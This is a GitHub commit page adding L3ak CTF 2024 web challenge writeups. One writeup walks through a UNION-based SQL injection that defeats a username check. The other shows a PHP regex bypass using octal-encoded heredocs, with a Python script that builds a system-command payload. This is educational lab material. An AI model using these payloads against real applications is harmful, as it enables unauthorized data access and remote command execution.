-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #144 from radumihai8/143-feat-add-l3ak-ctf-writeups
FEAT: Add L3ak CTF writeups
- Loading branch information
Showing
4 changed files
with
179 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
--- | ||
title: L3ak CTF 2024 | ||
date: 2024-05-24T12:00:00+03:00 | ||
description: Writeups for [L3ak CTF]. | ||
place: 71 | ||
total: 497 | ||
--- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
--- | ||
title: bbsqli | ||
date: 2024-05-27T14:51:02+03:00 | ||
description: Writeup for bbsqli [L3akCTF] | ||
author: Hust | ||
tags: | ||
- web | ||
- sqli | ||
draft: false | ||
--- | ||
|
||
## Challenge Description | ||
|
||
SO Classic ! | ||
|
||
## Intuition | ||
|
||
Automated tools like sqlmap or bruteforcing are not allowed for this challenge. | ||
|
||
This challange involves a flask application where the login function does not use a prepared statement and it uses a raw query, vulnerable to sql injection. | ||
For now, this looks like an easy sql injection challange, but the twist is this code section: | ||
|
||
```python | ||
if user and user['username'] == username and user['password'] == hash_password(password): | ||
session['username'] = user['username'] | ||
session['email'] = user['email'] | ||
return redirect(url_for('dashboard')) | ||
``` | ||
Where it checks if the username of the user found is the same as the username we submitted in the form, so if we just send the payload as username value, it will not match. | ||
|
||
Since bruteforcing, including time based or error based sql injection is not allowed, my idea was to create a user with the same username as the payload. | ||
|
||
## Solution | ||
|
||
1. **Crafting the payload** | ||
|
||
```sql | ||
hust1" or password="57ba172a6be125cca2f449826f9980caa" UNION SELECT (select username from users where password="57ba172a6be125cca2f449826f9980ca") as username, flag, '57ba172a6be125cca2f449826f9980ca' FROM flags WHERE id=1-- | ||
``` | ||
This statement uses a UNION query which: | ||
1. Selects the username of the user we created, so the username is in the last row which will be checked | ||
2. Selects the flag instead of the email, so the flag will be set in the `session['email']` available to retrieve | ||
3. Selects the password of the user we created | ||
The result will look something like this: | ||
| username | email | password | | ||
|--------------|-------|----------| | ||
| payload | email | password | | ||
| payload | flag | password | | ||
The row that will be checked against the username and password will be the second row, and it will set the session email to the flag value. A | ||
2. **Registering the user** | ||
Register an user with the username equal to the payload above. | ||
3. **Execute the payload** | ||
Login with the username (payload), after the login, the page displays the user data set in the session variables, including the email which takes the value of the flag. | ||
### Flag | ||
`L3ak{__V3RY_B4S1C_SQLI}` | ||
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
--- | ||
title: simple calculator | ||
date: 2024-05-27T14:51:02+03:00 | ||
description: Writeup for simple calculator [L3akCTF] | ||
author: Hust | ||
tags: | ||
- web | ||
- command injection | ||
draft: false | ||
--- | ||
|
||
## Challenge Description | ||
|
||
Unveil PHP Secrets. | ||
|
||
## Intuition | ||
|
||
The challenge involves a PHP script that evaluates mathematical expressions from a URL parameter. The script has input validation using a regex to prevent the use of alphabetic characters and quotes. By leveraging PHP's handling of heredoc syntax and octal encoding, we can craft an input that bypasses these restrictions and executes the desired command to retrieve the flag. | ||
|
||
## Solution | ||
|
||
1. **Octal characters** | ||
|
||
If a string is enclosed in double quotes (or heredocs), PHP will interpret octal characters as regular characters. | ||
|
||
e.g. `"\101" === "A"` | ||
|
||
2. **Heredocs** | ||
|
||
Since we cannot have quotes, a way to delimit strings is the heredoc syntax: `<<<`. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation. | ||
|
||
By reading the documentation for PHP Heredoc: | ||
|
||
[PHP Heredoc Documentation](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc) | ||
|
||
"Also, the closing identifier must follow the same naming rules as any other label in PHP: it must contain only alphanumeric characters and underscores, and must start with a non-digit character or underscore." | ||
|
||
We learn that the identifier must start with a letter or underscore, and since we cannot have letters due to the regex validation, the only option is the underscore. So in this stage the payload will look like this: | ||
|
||
```php | ||
<<<_ | ||
payload_in_octal | ||
_ | ||
``` | ||
|
||
3. **Executing functions** | ||
|
||
Since our input must be inside quotes (or heredocs) to be converted from octals, we cannot execute functions in the regular way `func(args)`. Another way to execute functions in PHP is `("func")("args")` so we just need to wrap our payload in parentheses like this: | ||
|
||
```php | ||
(<<<_ func-name-in-octal _)(<<<_ args-in-octal _) | ||
``` | ||
|
||
So we can do something like: | ||
|
||
```php | ||
(<<<_ system_in_octal _)(<<<_ ls_in_octal _) | ||
``` | ||
|
||
Also, we can encode the payload to send it directly. | ||
|
||
Here is a Python script to automate all these steps: | ||
|
||
```python | ||
import urllib.parse | ||
|
||
p1 = "system" | ||
p2 = 'cat flag*.txt' | ||
|
||
final_array = [] | ||
|
||
final_array.append("(<<<_\n") | ||
|
||
for letter in p1: | ||
final_array.append(f"\\{oct(ord(letter))[2:]}") | ||
|
||
final_array.append("\n_)") | ||
|
||
final_array.append("(<<<_\n") | ||
|
||
for letter in p2: | ||
final_array.append(f"\\{oct(ord(letter))[2:]}") | ||
|
||
final_array.append("\n_)") | ||
|
||
cmd = "".join(final_array) | ||
|
||
# URL encoding the command | ||
encoded_cmd = urllib.parse.quote(cmd) | ||
|
||
print(encoded_cmd) | ||
``` | ||
|
||
### Flag | ||
|
||
`L3AK{PhP_Web_Ch@ll3ng3}` | ||
|
||
## References | ||
|
||
[PHP Heredoc Documentation](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc) |